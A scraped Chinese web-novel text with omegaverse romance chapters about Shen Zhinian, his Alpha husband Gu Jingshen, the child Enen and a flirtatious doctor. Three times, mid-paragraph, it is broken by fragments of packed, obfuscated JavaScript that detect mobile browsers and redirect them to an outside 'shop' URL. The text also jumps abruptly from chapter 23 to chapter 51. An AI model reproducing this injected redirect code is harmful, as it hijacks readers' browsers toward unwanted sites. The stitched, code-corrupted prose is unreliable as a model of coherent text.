沈之年现在发情期确实有问题,上次他的腺体和身体都已经做好和Alpha共同渡过发情期的准备,但是顾景深临门一脚突然离开,这对他的身体还是有一定的影响。 说起这件事,顾景深应该根本没办法拒绝,毕竟顾景深真的算是一个有道德感的好人。 但是,顾景深竟然迟疑了,“下次发情期,我会陪你一起过,对不起。” 顾景深的对不起好像批发的,说也说不完,今天对不起,明天对不起。 “你还是把信息素给我吧,有备无患。” 顾景深抬起头,看到沈之年的视线里面,只有满满的不信任。 最后顾景深也只能妥协,“好,我会帮你问的,一般信息素研究所会留下,极优Alpha的信息素是很珍贵的研究材料,之前我也没有尝试拿回来过。” 虽然顾景深嘴巴里这么说,但是他们心里都清楚,只要顾景深开口,这点小事还是能办成的。 Omega学院教授的知识果然没错,居家和缓的环境,心怀愧疚的Alpha,这是最好的交流时机,一般大家都能得到自己想要的。 既然已经达成了自己的目的,沈之年站起身就想要离开,但是顾景深却又抓住沈之年的两只手。 将自己的脸深深的埋进沈之年的手心。 手里的神经多,更敏感,顾景深呼出的热气喷在手心,痒痒的。 这种痒意很快就蔓延到沈之年的全身,把他半边身子都酥倒了。 Omega一般都会把抑制贴贴的严严实实,但是随着汗液的挥发,还是会有微量的信息素留下在体表,再加上沈之年整个人像是从顾景深的信息素里面捞出来似的。 现在他身上应该满满都是顾景深的信息素味,加上一点自己的信息素纠缠在一起。 顾景深在找他的信息素。 这是正常的,沈之年在心里告诉自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340645|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >易感期的Alpha就是这样,他们会狡猾的寻求Omega的抚慰,别说是这样,有时候他们甚至会伏低做小,会哭会闹,会用尽一切方法得到Omega的关心和爱。 可是这样太暧昧,沈之年不适应,匹配度就是这么不讲道理的东西,他们中间有这么多的阻碍,但是现在这么泡在顾景深的信息素里,沈之年还是想要亲亲顾景深。 不过冲动是一瞬间的,理智很快回归沈之年的大脑, “需要帮忙么,我可以先给你一点信息素······” 沈之年话都没有说完,就感受到手心贴上了一个软软的东西。 两个人都呆楞住,还不等沈之年说什么,顾景深嚯的一下子站起身。 沈之年还以为又能得到一句批发的对不起,但是顾景深侧开脸,都不敢看沈之年,胡乱的点一下头,就一头扎进房间。 真奇怪。 ------------------------ 话题一打岔,就不知道哪里去,又找不到线头,但是沈之年还记得他们之前说过什么。 还没回答他吃没吃饭,沈之年转过身去恩恩的房间,这个孩子果然没有在玩,他就站在门口,沈之年开门险些撞到他。 被沈之年发现,恩恩也不藏着,“沈叔叔,你和叔叔吵架了么?是因为我么?” 沈之年蹲下身,“不是的,是因为叔叔身体的原因,恩恩,你在这里生活不要太紧张,我们都希望你健康快乐。” “我来之前,妈妈让我乖巧一点,不要给你们添麻烦。” 沈之年的心里软了一块,他就是很喜欢可爱的孩子,恩恩长得好,软软的,像是一小块糯米糍。 “怎么回事麻烦呢,叔叔最喜欢你这样可爱的小孩子。” 恩恩真是个乖巧懂事的孩子,他扬起笑脸就点头,但是沈之年能看出恩恩的疑虑。 恩恩记得那天在家里,和沈叔叔一起来的叔叔的态度,大人的事情他不是全都能理解,但是能够感受到,也许对于沈叔叔来说,其实他是一个麻烦。 “所以今天晚上你有吃饭么?叔叔有没有给你做饭?”沈之年把恩恩抱起来,这样他们可以平视,怀抱的动作也可以拉近两个人的距离。 虽然沈之年不理解为什么恩恩要叫顾景深叔叔,可能是想要保护小孩子的尊严,尘埃落定之前不想要孩子背上私生子的骂名。但是沈之年从善如流的跟着恩恩叫了叔叔。 恩恩点头,“叔叔给我切了小兔子水果,还有香蕉奶昔,还有小汉堡!” “叔叔做饭也很好吃。”恩恩说话的时候一板一眼,很可爱,不等沈之年来问,恩恩自己就接着说,“我也有乖乖的吃药,不过叔叔没吃,要等沈叔叔回来吃。” 沈之年把恩恩哄睡着,犹豫很久,才到顾景深的门前,“吃饭么?” 很久之后,顾景深才打开门,穿着浴袍,头发滴滴答答往下滴水······ 脸上都是潮红,见到沈之年,好像想到什么似的,不自然的转开视线,“嗯,你想吃什么,我去做。” 22. 第 22 章 “你想吃什么,我去做。”两个人几乎同时说出这句话。 “还是我去吧,你再把厨房炸了。” 之前顾景深可是一点也不肯进入厨房的,那个厨房是沈之年自己一点一点布置好的,里面都是他用惯了的东西和心爱的厨具,现在顾景深的状态这么不稳定,把他厨房搞坏,他要心疼死。 沈之年的动作很快,两个人沉默的吃饭。 “为什么不先陪着恩恩一起吃?”沈之年还是问出自己的疑问。 “我答应过你的,要一起吃饭。” 沈之年的动作顿了一下,那个协议早就被他抛到九霄云外,不知道破坏过多少次,没想到现在顾景深会旧事重提。 “你还记得啊。”沈之年有点感叹,可能这事上难得恰好,他之前想用这个留下顾景深的时候,顾景深违约,他都快忘了,顾景深却又把这件事拿出来认真去执行。 “什么时候去军区?” 顾景深又意味不明的看了沈之年一眼,“明天就去,我一会儿回房间收拾几件衣服可以么?” 沈之年觉得挺奇怪的,其实顾景深的衣服大多都已经收拾到客卧的衣柜里,而且他想要回房间,沈之年也不会管。 看到沈之年的视线,顾景深不得已开口,“你不要进来,我怕伤害到你。” ------------------- 真的进入到沈之年的房间,里面淡淡的信息素香气一下就把顾景深围在中间。 很熟悉的味道,沈之年的味道和他这人一样旖旎,让人浮想联翩。 之前沈之年扇他的那次,先来的也是这股香气,可能本身Alpha就是皮糙肉厚,那一下他甚至第一下都没能感觉到痛。 顾景深回过头,床上的用品是他之前用过的,黑灰色,他们不是完全没有在一起睡过,所以顾景深还能够回忆起月色下,沈之年躺在这张床上泛着光华的脸颊,他很白,黑灰色的四件套上,更显得他发光一下。 即将到来易感期让他的五感都变得十分灵敏,沈之年喜欢睡在右边多一些,右边的信息素气味明显要更加的浓郁。 等顾景深回过神来,他已经凑在沈之年睡过的位置······ 现在社会,对于Alpha总是几多宽容,就算是失去理智的易感期,也能七七八八的夸出花来。 但是顾景深自己也明白,易感期以来,Alpha简直就是畜生。 全无理智,狡猾,无耻,用尽一切办法去得到能够让他得到快乐,得到解脱的Omega。 就像他现在这样,简直就是一个畜生。 他开始庆幸没有让沈之年进入这个房间,他们的匹配度实在是太高,在这个信息素浮动的当口,沈之年对于他的诱惑是致命的。 就算是现在,还没完全进入易感期,他都想要假装失去理智,把现在就在门外面的沈之年拖进房间······ ----------------- 顾景深再打开门,行李箱里面鼓鼓囊囊的。 沈之年都觉得惊讶,哪里有这么多的衣裳要拿,主卧里面本身也没几件顾景深的衣裳。 开开门,顾景深也不说话,闷着头就回到自己的房间,就好像是做了贼人一样。 沈之年不知道怎么说才好,这个人,忽晴忽雨的。 第二天,军方来的人比沈之年醒的都早。 不愧是极优性Alpha,阵仗好大,充分表达了对顾景深的尊重。 等到顾景深被压到车上的时候,沈之年左看右看,十分犹豫,但是,最后还是走上前,只可惜没走几步就被人拦下,“顾夫人,现在他很危险,你现在最好不要靠近。” 沈之年迟疑片刻,还是小声和那个士兵说,“我就给他送一个东西,可以么?” 那个士兵犹豫一下,看向一个明显是长官的人,那人可能是顾景深的朋友吧,沈之年和他朋友们不太熟悉,但是总觉得再顾景深的交际圈见过一次。 等待那人点头,沈之年才凑过去,车窗只是开了一个小小的缝。 刚好够沈之年把一个小玻璃瓶递进去。 “这是上次我做检查的时候提取的信息素,还有留存的你如果需要可以用。”沈之年越说越小声,最后几乎没声音,透过那个窄窄的缝,顾景深还能看到沈之年泛红的脸颊。 沈之年也是纠结了很久才把这瓶信息素拿给他,给信息素这个行动太亲密,不太适合他们这样貌合神离的夫妻。 但是他昨晚回房间之后,他一眼就发现房间的衣柜空了一半,易感期的Alpha渴求Omega的信息素,会做出很不理智的事情,沈之年可以理解,只是,拿个一两件就算了,沈之年实在是没办法忽视。 只能送上信息素,希望能够在失去理智的Alpha魔爪下救下自己的半衣柜衣裳。 车子渐渐的远去,顾景深展开手,看手心里的小小的玻璃瓶,凑过去,是花香,清净高雅的香气,一闻就能想到沈之年这个人。 他不自觉的笑了一下,然后深深的唾弃自己的卑鄙,他怎么不知道拿走半个衣柜的衣服容易被发现呢,可沈之年就是这么善良温柔的人。 前面的哈里斯白眼要翻到天上去,“我要把这个给你拍下来,让你嘴硬!” ---------------------------- 幸好顾景深被抓走的早,沈之年还能赶上去薛明亦那边复诊。 上次的事情,沈之年还是觉得奇怪。 不知道为什么,沈之年觉得自己在那个诊室里面好像对于情感要敏感一些,回到家之后,他再去回忆那个诊室发生的事情和对话。 排除掉一些情况之后,他还是下了一个自己都觉得匪夷所思的论断。 薛明亦好像在勾引他这个单纯无辜忠贞的良家Omega······ 沈之年得出这个结论之后,小声问了问自己,这对么? 这个论断下的很艰难,沈之年颜色好,人还贤惠,从分化之后,不,分化之前,追求者就山海一样多,可以从首都星排到天穹帝国再绕回来。 他们大多青涩直白······ 他结婚之后,再来勾搭的,就都是些不怀好意的好色之徒,几乎要把色欲写在脸上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340646|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是薛明亦不一样,他成熟、含蓄,还带着一点小幽默, 更何况他一点也不吝啬对于沈之年的赞美和欣赏,游刃有余里偶尔带点青涩的莽撞,有时候看起来像是老实人豁出去了。 如果真的要对比,可能是最近Omega的自主意识有提高吧,最近在Omega圈,顾景深这种不张嘴的高干霸总已经过时,但是薛明亦这种禁欲、高知hotnerd刚好是现在Omega爱好里最热门的款式。 还有热情洋溢的年下小狗最近也很火。 下午三点很快就到,其实昨天聊的已经七七八八,今天主要是看一下昨天做的测试结果。 沈之年在门口敲两下门,就听到诊室里面嘭的一声,然后细细簌簌的声音。 打开门,先冲出来的是淡淡的冷香,然后是薛明亦亮亮的眼睛。 沈之年点头,“抱歉,我来早了。” 薛明亦赶紧把门,但是在看到沈之年怀里的恩恩时,笑容猛地僵住。 沈之年不觉得他们的昨天的讨论完全是正常的医患范畴。也不觉的面对每一个病人,薛明亦都会露出这么诱人的姿态,不过不管薛明亦怎么诱人,沈之年现在和顾景深还是合法夫妻,他很高的道德感还是让他拒绝婚内出轨。 所以才顺手把恩恩抱过来,沈之年觉得,薛明亦应该没有丧心病狂到在孩子面前勾引良家Omega。 “上次你有帮忙看恩恩的病例,今天刚还,我把他带也带过来简单的复诊一下,可以么?” 孩子都到面前,薛明亦当然没办法拒绝,只能点头。 例行询问几句,看到恩恩八眼。 就在沈之年以为他已经接受这件事的时候,他还是开口了,“沈先生,不必要这样。” 沈之年状似无知的抬头,“啊?什么意思?” 一边说还去摸恩恩的小脑袋,恩恩依恋的靠着沈之年玩手里的小玩具,没在意两个大人说些什么。 薛明亦勉强笑笑,“没什么,先带恩恩去做个检查吧。” 说完也不等沈之年回应,就叫了外面的护士姐姐进来。 房间里又只剩下沈之年和薛明亦两个人。 恩恩走一被抱走,薛明亦明显自在多了,“昨天的检查结果都出来了,和我们猜测的一样,你分泌激素的器官基本都保留了功能。” “这是一件好事。” “我昨天的提议你考虑的怎么样?我可以听一听你的决定么?”薛明亦看起来很镇定也很专业,但是他下意识的扶一下镜框,还是暴露了他的紧张。 沈之年盯着薛明亦的眼睛,“你的治疗计划听起来很像偷情,薛医生,你对待每一个病人都会提出这种冒险的治疗办法么?” “不会······”薛明亦停顿了一下,沈之年以为他会说出什么出格的话,但是他只是说,“他们没有沈先生这么复杂的病症。” “在我眼里这只是一次正常的治疗,但是如果沈先生觉得这是偷情,那很好。” “你说过,你喜欢体验不同的情绪,这种你应该之前没体验过吧······”薛明亦挑了一下眉,“应该很刺激。” 23. 第 23 章 上次见面, 上次见面, 薛明亦说,“如果你和顾景深在一起的时候能够感受到正常的情绪,至少说明你身体里让你能够感受情绪的激素,神经理论上是可以正常工作的。” 薛明亦认为沈之年的情感缺失,是因为身体没办法正常的建立反射。 所以薛明亦提出的解决办法有一点类似于脱敏反应。 让沈之年在存在顾景深信息素的环境下尽可能的多去体会情绪,然后逐渐减少信息素的浓度,从而建立反射。 “所以,我只需要和顾景深继续生活?有意识的和他一起体会各种情绪?” “不,”薛明亦又扶了一下眼镜,“不是和他,是和我。” “我觉得你需要一个专业的人来调控情绪的发生和信息素的用量,所以希望顾先生可以提供信息素。” 薛明亦提出这个解决办法的时候,沈之年的应该是极度冷静的,毕竟理论上他没有情绪,但是他还是震惊了一下。 “这,应该不合适吧。” 薛明亦没有直接回答沈之年的疑问,“沈奉月沈先生在找到我的时候,数次表达了对你病情的焦虑,我觉得你父亲好像很希望你能够摆脱对这种信息素的依赖,对吧。” 沈之年没说话,薛明亦真的很敏锐,沈奉月不是一个无话不说的人,不可能将沈之年的情况和盘托出,应该是薛明亦猜出来的。 眼见沈之年的动摇,薛明亦又加上一把火,“你好像认为自己很爱自己的丈夫?” 这话说的没有道理,“我们是最契合的,我们相爱天经地义,为什么是我认为?” 薛明亦摇头,“不,信息素的匹配度只是告诉你们,你们很合适,但是感情需要培养,每个人在面临匹配的时候都会有多个选择,难道他们最后选择的是唯一会相爱的么?不是的,理论上不管他们选择哪个都会过的很好。” “也许你和你丈夫在无数未来的可能性里,会有几条相爱的很深刻,但是至少现在,我觉得感情建立没有那么快。” 薛明亦又点了一下桌子,“沈先生,你能分清你现在对顾景深的爱情,是真的爱上他这个人,还是爱上他能带给你情绪的这种新奇体验么?” “和我一起体会吧,我比他更加专业有助于你的病情,也能帮你分清这种感情······” “我想一想······” 沈之年从回忆里走出,看着眼前的薛明亦,他和昨天提出方案的时候一样,镇定的坐在那里,等待他的回应。 沈之年吐出一口浊气,没有立刻回应,“薛先生,你好像胸有成竹。” 薛明亦摊开手,“我只是一个医生,提出我能提出最好的治疗方案,最后还是要就交给患者做决定,我没有胸有成竹,只是在等待您的裁决。” 他提出的所有!所有条件都很诱人,沈之年真的没办法拒绝,他现在甚至感觉自己出现了幻觉,他好像头脑有一点发热, “还是···太冒险了吧。”沈之年不敢看薛明亦。 “沈先生,这只是治疗。” “你可以保证么?”说实话,沈之年很难说服自己跨越这个道德的界限。 “借用治疗和病人发生感情是不道德的。”薛明亦只是这么回应。 沈之年以为他这样说的意思是不会, 但是他紧接着就说,“希望您能够相信我的职业道德,但是我自己也并不敢保证,毕竟沈先生确实很有魅力,这个世界,应该没人能够拒绝沈先生的青睐。” “我只能尽力。” 这个回答,其实比起斩钉截铁的回应更能取信于沈之年。 沈之年其实还是不太能够接受偷情这样的事情,他说到底,性格还是更像人妻。 “薛先生也很有魅力,我也会努力控制自己。” 薛明亦不置可否的笑了一下。 护士姐姐很有眼力的在这个时候把恩恩抱回来放在沈之年的身边,还把手上的一大叠检查报告放在薛明亦的桌子上。 其实看到恩恩的那一刻,沈之年突然意识到,他好像做下了一个并不太理智的决定······ 很是丧气的捏了几下恩恩软软的脸颊,恩恩对于两个大人之间的暗流涌动无知无觉,在沈之年收回手的时候,把另一边脸颊也送上。 恩恩的检查报告薛明亦看的很快。 其实在星际时代,白血病早就有完全治愈的办法,只是在增加腺体这个器官之后,人体的复杂程度几乎加倍,所有的治疗都不得去考虑腺体这个几乎游离于人体之外,又和人体息息相关的器官。 恩恩的年龄太小,还没有分化,治疗就要考虑分化的可能性,三种第二性别的治疗方法都有微妙的差异,不得不去采取尽量保守的治疗方式。 但是过于保守,又会将治疗的战线拉长,时间一长,也许就会出现变数。 所以才为难。 “现在来看,恩恩的情况还算是乐观,甚至可以说大大超出预期。”薛明亦看到恩恩资料的时候,就马上回到专业的状态,他声音很冷静, “可以拿一些新药,恩恩的户口还没解决,去首都星的官方医院会比较麻烦,下次还可以带着他来找我。” 沈之年点头,倒是恩恩很诧异的抬头看薛明亦,他的药之前都是魏敏姝带着他去公立医院拿的,因为他现在是“天穹帝国的居民”,每次都会遇到不少的麻烦,甚至是刁难。 恩恩也问过魏敏姝,“为什么不去找薛舅舅。” 那个时候魏敏姝的回答是薛舅舅是很厉害的医生,能不麻烦对方还是尽量不要。 上次薛明亦会去他家,也是因为在医院遇到一位非常过分的医生,以至于耽误了恩恩的复诊,魏敏姝没办法才找到薛明亦。 所以恩恩没想到,薛舅舅会这么轻易答应。 薛明亦好像没看到恩恩的差异一样,上前几步,就把恩恩抱在怀里,“我们恩恩会健康长大的。” ---------------------------- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340647|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈之年把恩恩放在车上,恩恩还是那一副若有所思的神情,其实恩恩长得和顾景深很相似,这种思考的小大人样子格外可爱。 “怎么了?恩恩?”沈之年关好车门,又仔细检查几遍儿童座椅才开启自动驾驶。 “我在想,之前我和薛舅舅,又这么亲热么?” 真的好可爱,那么认真的神情,最后竟然只是在纠结这样的问题。 可能是受限于Omega学院的学习经历,其实沈之年之前说自己很喜欢孩子并不是一句空话。 他在和顾景深一起构建家庭的时候,其实也想过,以后会不会生一个很像顾景深的孩子。 最后没想到,不用他生,就已经有了。 察觉到沈之年好像有一点低落,恩恩马上把自己的脸塞进沈之年的手里,希望沈之年能够捏捏他的脸颊。 沈之年从善如流,“你妈妈提起过你的爸爸么?” “没有,很少提起,但是他们应该感情很好吧。”恩恩说起爸爸这个话题的时候也很低落,但是因为问问题的是很善良很温柔很漂亮的沈叔叔,所以恩恩还是认真的回答。 “有时候我会被嘲笑是没有爸爸的小孩,妈妈总是会偷偷的哭,她应该也很想爸爸。”恩恩靠着沈之年,手里又开始下意识的玩小玩具。 “其实妈妈照顾我很不容易,她都没有埋怨过爸爸,他们应该感情很好,我知道你们成年人有很多不得已,我觉得爸爸也不是故意抛弃我们的。” 沈之年被恩恩说的一楞,“嗯,当年的事,各有难处······” 顾景深怎么会抛弃恩恩,他看着恩恩的眼神那么温柔,沈之年都没有见过的眼神。 听到沈之年的话,恩恩一骨碌翻起来,拉着沈之年的手,“沈叔叔,你认识我爸爸么?他是谁,是怎么样的人?” 顾景深是爸爸这件事,两个人应该都没有和恩恩说,可能是在保护恩恩的尊严,沈之年自然也不会说。 “算是吧,不是很熟悉,是很好的人,也很爱你和妈妈。” 恩恩没有再去追问,他知道大人不说一定有原因,问也是没用的。 就又反回身靠在沈之年的身边。 ------------------------------------- 回到家里,一道意料不到的身影出现在沈之年的眼前,她背对着沈之年正在摆弄沈之年昨天新插好的花瓶。 “露易丝······” 露易丝应该是等了很久,等的很不耐烦,听到声音就转过身,“去哪里了,怎么才回来!” 回过头自然就看到沈之年怀里的恩恩,“这是谁!这就是景深那个私生子?” 沈之年在看到露易丝的时候就暗道不好,他手忙脚乱的把恩恩放下,但是捂耳朵的时候还是慢了一步。 恩恩抓住沈之年的手腕,水灵灵的大眼睛里满是慌乱,“我是···我是叔叔的私生子么?沈叔叔,我破坏了你的家庭么?” 50-60 第51章 李秘书推开顾景深的家门, 门轴轻旋,木门“吱呀”一声沉而缓的打开,明亮的灯光从家里倾泻而出, 这一幕看起来有点像童话······ 里面也和他想象中的完全不一样, 窗明几净,灯光在地板投下暖痕。汤锅在灶上咕嘟微响,绿植在墙角默默的生长, 爬满了房间的一个小角,颇有生趣, 沙发毯整齐叠放, 两只拖鞋依偎门边。 这个房子完全可以算得上是井然有序······ 其实顾景深已经很久没有去上班, 将近两个月。 几乎公司中遇到的所有问题,顾景深都是通过视频会议的方式解决,现在科技发达,基本能够解决百分之80的问题,就算是不行,也有李秘书来亲身运送······ 没有了顾景深这个随时会爆炸的大炸弹在公司坐镇, 大家的工作效率都明显变高。 甚至因为顾景深在家心情不错,和之前大炸弹的情况对比太明显,和一个和蔼可亲的老板共事,大家的工作效率几乎翻倍。 但是李秘书知道, 这不是一个好的现象······ 他能在顾景深首席秘书的位置上做这么多年, 绝对离不开他的细心,他观察到,顾景深经常在开会的时候,突然对着光幕外说话,有时候是回答吃什么, 有时候是说两句闲话,还有时候是突然看出去笑一下······ 大家都以为是沈之年在家里和顾景深说话,还纷纷夸顾总和夫人之间的感情好,说什么要感谢夫人云云的······ 公司里甚至还在流传一些老板一刻都离不开夫人,甚至为陪娇妻在家办公的神仙爱情故事。 只有李秘书知道,沈之年早就和顾景深离婚了,那个家里根本就不可能有夫人。 会出现这样的境况,恐怕顾景深的精神状态应该已经岌岌可危。 他本来以为一个快疯的Alpha家里应该乱糟糟,没想到,很干净,很整洁,除了大白天拉着窗帘,房子里面开的灯火通明,其他都和沈之年在的时候,他寥寥来的几次几乎一摸一样。 “你喜欢这个?” “我只是没想到······” “可以买下来······” “家里确实有几个小星球,可是这个不一样,这个你喜欢,以后等空闲下来,我们可以过去度假,而且上面的水果很甜,你一定会喜欢······” 一点私语声传来,李秘书顺着声音的看过去,顾景深坐在不远处的沙发上,一只胳膊虚虚的搭在空气中,脸上满是深情和幸福,好像怀里真的圈了一个人似的······ 顾景深手指在光幕上轻巧的点了几下,应该是买下了那个小星球。 如果能够接上顾景深的脑电波,看到那个虚拟的沈之年,这个画面应该很浪漫,但是可惜,作为一个普通的凡人,李秘书看的背脊一凉,好诡异······ “顾总?”李秘书小心翼翼的开口。 顾景深抬起头看到在那边唯唯诺诺的李秘书,再低头,果然,怀里刚才还巧笑倩兮的沈之年已经消失不见了。 顾景深的脸一下子就疲惫下来,无力的靠在沙发上,“怎么回事?你怎么过来了?” 李秘书心里还是有点发怵,下意识的看了一眼那个沙发,黑灰色的麻布材质,上面放了两个可爱的针织小黄鸡毛毯,怎么看都没有沈之年的影子。 他压下心里的涟漪,递给顾景深一个日程表,“之前出门的行程基本上都能推则推,尽量让您能不出门,但是这几桩确实是推不了,您看一下······” 顾景深心里也有数,打开一看,果然,是董事会和···哥哥的忌辰······ 顾景深看完,李秘书接过文件夹,他本来应该离开给顾景深留下继续幻想的空间,他只是一个打工人,没必要去操心锦衣玉食的主子,但是他脚步还是定在原地。 顾景深看向李秘书,眼神里有一点不宜察觉的烦躁,“还有事?” 李秘书在这里,沈之年就不会出现,顾景深本来就不喜欢外人来到他和沈之年的家,现在更是讨厌,他珍惜和沈之年在一起的所有时光······ 理智上,李秘书现在就应该顺势离开,但是他之前跟着顾怀深工作,现在跟着顾景深,林林总总加起来也有一些年。 “需要给你联系一位心理医生么,顾总。”李秘书和顾怀深是同窗,除去工作关系,还有同窗之谊,上学的时候就经常听顾怀深说自己看,可爱的弟弟,现在看到顾景深这样不免也有一点同情。 顾景深闻言转过头,就这样沉沉的看着李秘书,李秘书知道这句话说的唐突,也不是他一个兢兢业业打工仔应该和给他发钱的资本家说的话。 可能是顾怀深的寿辰又到了,人总是离不开一时的情肠,眼前的顾景深和他哥哥长得有七八分相似,总让人想起怀深,怀深是个好人,温和,善良······ “怀深也不想看到你这样,景深。” 这句话不是上下级应该说的,但是忌辰快到了,顾景深想到哥哥,也没有反驳,“可他也看不到······” 他也知道哥哥肯定不希望看到他这样,哥哥总能解决一切的问题,如果现在哥哥在就好了······ 见到顾景深的态度明显也有软化,李秘书坐在顾景深的身边,问出了他一直想问的问题,“你是不是已经出现幻觉了?” 在第一次顾景深对屏幕外说话的时候,李秘书就意识到了问题,后面顾景深的情况越来越严重,他去查询了很多资料, 这对于失去Omega的Alpha是很常见的病症,失去心爱的Omega之后,因为无法接受现实,有很多Alpha会构建出幻想中Omega还在的假象,一般生这种病的都是Omega意外去世的Alpha。 毕竟Alpha是天生的掠夺者,Omega的人权又不能得到保障,他们总有办法重新得到自己的Omega。 顾景深这种情况也非常的复杂,道德不是用来限制顾景深这种天生的掌权者的,他愿意有道德,自然可以,但是一旦哪天幻想不能再满足他,他想要有血有肉的妻子,他的渴望迫使他跨越道德的界限······ 虽然罕见,但是因此发生过几起对Omega的恶性绑架事件 而且这种病症,等级越高的Alpha越难治疗。 一来,Alpha的等级越高,相对的智商越高,脑力越强,制造出来的幻想就越真实,越和谐融洽,太真实,难以打破,病人就走不出来。 二来,Alpha等级高,就会又自信,甚至刚愎自用的毛病,让他们和心理医生交涉,不一定是谁攻破谁的心理防线。 这样的话,家里窗帘紧闭灯火通明就有了解释,顾景深之间经常加班,往往都是华灯初上才会回家,恐怕在家中灯光里的沈之年他见的最多,幻想起来也最真实······ 李秘书提到了顾怀深,他的哥哥,顾景深罕见的没有发脾气,温顺的坐在那里,良久才施舍一样吐出一个字,“嗯。” 用来回答李秘书的问题,他确实出现幻觉,这些天他也一直都在和幻觉一起生活。 其实本身顾景深就不喜欢发脾气,至少李秘书在大学时候第一次来顾家做客见到的顾景深是不爱发脾气,性格开朗的小孩。 听到顾景深的应答,李秘书的心瞬间就凉了半截,顾景深知道这是幻觉,说明他是清醒着沉沦。 他不去上班,甚至减少其他人来这里的次数。 顾景深是清醒的选择了和幻想一起生活。 “夫人还在,你们匹配度又那么高,只要有心,以后怎么样谁知道呢?是不是?”李秘书是个Beta,不知道传说中的信息素是什么,但是铺天盖地的命定之番,天作之合,他还是见过的 。 应该是一种很深的感情吧。 顾景深撇撇嘴,“他根本就不爱我。” 一句话就把李秘书的头搞大了,“景深,你知道么,我一直觉得你是一个天生的领导者。怀深刚出意外,你从军校被调回来继承顾家这个大机器,那个时候我们都觉得你做不到,你没有接受过一天这方面的教育,但是你适应的很快,做到也很好······” 顾景深头很痛,其实这段时间他一直没能睡得特别好,他没有多余的心神去思考李秘书的话外之音。 甚至如果不是提到顾怀深,顾景深根本不会听他唠叨。 “顾家这么大的机器,你都能轻易的运转起来,感情的事情难道就更难?”李秘书真是没想到还有他教训顾景深的这一天,“你们Alpha可能天生就容易做成事情,但是我们Beta,遇到的挫折太多了,遇到什么就解决什么,实在解决不了就也算了。” “大家都是这么将将就就的活着······” “你们Alpha才奇怪,他不喜欢你,好像跌了面子,受了屈辱一样,这有什么的······” “你要是喜欢他,他不喜欢你,你就去追求他啊。”李秘书摆摆手,“这不是很简单么?” 顾景深很迷茫的抬起头,他从小就知道自己是制造规则的那一批人,金钱和权力能贵让他得到大部分的东西,使用一点小手段,让他能够得到后面那些。 但是他不想和沈之年使用那些手段,得到一个人很简单,他现在就可以很轻易的让沈之年回到他身边,但是沈之年还是不爱他,他们之间还有重重的误会,沈之年不会开心也不会幸福······ 追求? 一个突然出现在他人生中的新选项。 半天之后,李秘书本来一位等不到顾景深的回答, 就听到顾景深小小的声音,“怎么追求!” 李秘书顿时就笑开了,“你们是不是还有点误会,先把误会解决···不对······要想解决误会,得先见一面,我们先想办法见一面。” 李秘书拿出那个日程表,“顾总,你看看,怀深的寿诞快到了,你们离婚的事情又没公布,是不是得叫夫人过来啊!” 李秘书越说话,眼睛就越亮,好像自己找到了超好的办法,“到时候见了面,你先把误会解决了,说两句软话,我刚进门的时候,你不是挺会说的么!” 第52章 忌辰的秋雨, 不是下,是漫。 灰白色的水汽从四面八方蒸腾起来,好像要把一切都吞噬了, 把整个世界浸泡成一块巨大而模糊的毛玻璃。 顾怀深去世那天就是这么大的雨,这几年,每到这几天,都会淅淅沥沥下一些。 车子无声地驶入雨雾。 不是去往郊外的老式墓园, 而是城市另一端一处价格堪比黄金地段的现代室内陵园。 这里没有露天的墓碑,只有洁白的走廊, 恒温恒湿, 灯光永远柔和, 一个个格子间里安放着黑曜石或汉白玉的骨灰盒,像另一种形式的顶级写字楼。 安静,冰冷,缺乏人气。 顾景深在门口买了花,一束简单的白菊。走进去,空气里弥漫着消毒水和香氛混合的怪异味道, 安静得能听到自己的心跳。 空气太安静了,只有他的脚步声不停回响, 哥哥不会喜欢这样的地方,太冷清, 不热闹, 也没能能陪哥哥说说话。 又过了几步, 他的父亲顾宗翰,穿着一身熨帖的深色中山装,外面罩着羊绒大衣,竟然坐在一张临时搬来的皮质扶手椅上, 正对着存放着哥哥骨灰盒的那面黑色大理石墙。 他手里拄着一根紫檀木手杖,坐姿挺拔,仿佛不是身处墓园,而是在自己的书房里听汇报。两名穿着黑西装、显然是私人护理兼保镖的男人垂手立在他身后不远,像两尊沉默的雕像。 露易丝在一旁扶着墙已经哭到昏厥,软软的跪在地上,这时候不区分谁是长辈了,哥哥走了那么多年,每年都是这样。 顾怀深没在露易丝膝下长大,去世之后,露易丝心中对于这个大儿子的愧疚和悔恨每一年都会加倍,然后在忌辰这天倾泻而出。 顾景深的脚步几不可察地顿了一下,随即恢复如常,走了过去。 他把那束白菊放在格子的金属台面上,那里已经放着一大捧昂贵的白色蝴蝶兰,新鲜得像是刚从温室里剪下来的,衬得他的白菊寒酸而多余。 